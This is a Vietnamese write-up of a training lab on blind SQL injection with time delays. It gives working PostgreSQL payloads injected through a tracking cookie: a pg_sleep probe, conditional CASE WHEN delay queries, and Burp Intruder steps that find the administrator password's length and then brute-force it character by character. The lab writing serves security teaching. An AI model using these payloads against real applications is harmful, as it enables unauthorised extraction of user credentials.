Lab: Blind SQL injection with time delays and information retrieval

Mô tả

Ứng dụng sử dụng cookie theo dõi để phân tích và thực hiện truy vấn SQL có chứa giá trị của cookie đã gửi.

Kết quả của truy vấn SQL không được trả về và ứng dụng không phản hồi khác nhau tùy thuộc vào việc truy vấn trả về bất kỳ hàng nào hay gây ra lỗi. Tuy nhiên, vì truy vấn được thực hiện đồng bộ nên có thể kích hoạt độ trễ thời gian có điều kiện để suy ra thông tin.

Cơ sở dữ liệu chứa một bảng khác có tên là users, với các cột có tên là usernamepassword

Mục tiêu: Khai thác lỗ hổng SQL injection để tìm ra mật khẩu của người administratordùng.

Phân tích

Cần xác định loại cơ sở dữ liệu mà ứng dụng sử dụng

'||pg_sleep(10)--

Đây là PostgreSQL, kích hoạt độ trễ thời gian có điều kiện như sau:

SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END

Kiểm tra có tên người dùng administrator trong bảng users hay không

'; SELECT CASE WHEN (SELECT COUNT(username) FROM users WHERE username = 'administrator') = 1 THEN pg_sleep(10) ELSE pg_sleep(0) END--

Có độ trễ nên xác định là có

Lợi dụng việc có thể kích hoạt độ trễ thời gian có điều kiện để có thể lấy dữ liệu bầng cách kiểm tra từng ký tự một:

'; SELECT CASE WHEN (SELECT COUNT(username) FROM users WHERE username = 'administrator' AND SUBSTRING(password, 1, 1) > 'm') = 1 THEN pg_sleep(10) ELSE pg_sleep(0) END--

Giải pháp

Xác định độ dài mật khẩu

Ta sẽ sử dụng mấu sau:

'; SELECT CASE WHEN (SELECT COUNT(username) FROM users WHERE username = 'administrator' AND LENGTH(password) > 10) = 1 THEN pg_sleep(3) ELSE pg_sleep(0) END--

Thử > 10 và < 30 thành công. Ta tìm được khoảng đọ dài của mật khẩu là từ 11 đến 29

Sử dụng Intruder

Tại giá trị 20, Response received có độ trễ thời gian hơn 3000

Như vậy xác định được độ dài mật khẩu là 20

Bruteforce mật khẩu

';SELECT CASE WHEN(username='administrator' AND SUBSTRING(password,1,1)='a') THEN pg_sleep(3) ELSE pg_sleep(0) END FROM users END--

Hoặc

'||(SELECT pg_sleep(3) FROM users WHERE username='administrator' AND SUBSTR(password,1,1)='a')||'

Tiếp tục sử dụng Intruder với kiểu attack Cluster bomb

Với delay là 3s thì sẽ lọc các Respone có độ trễ > 3000ms

Last updated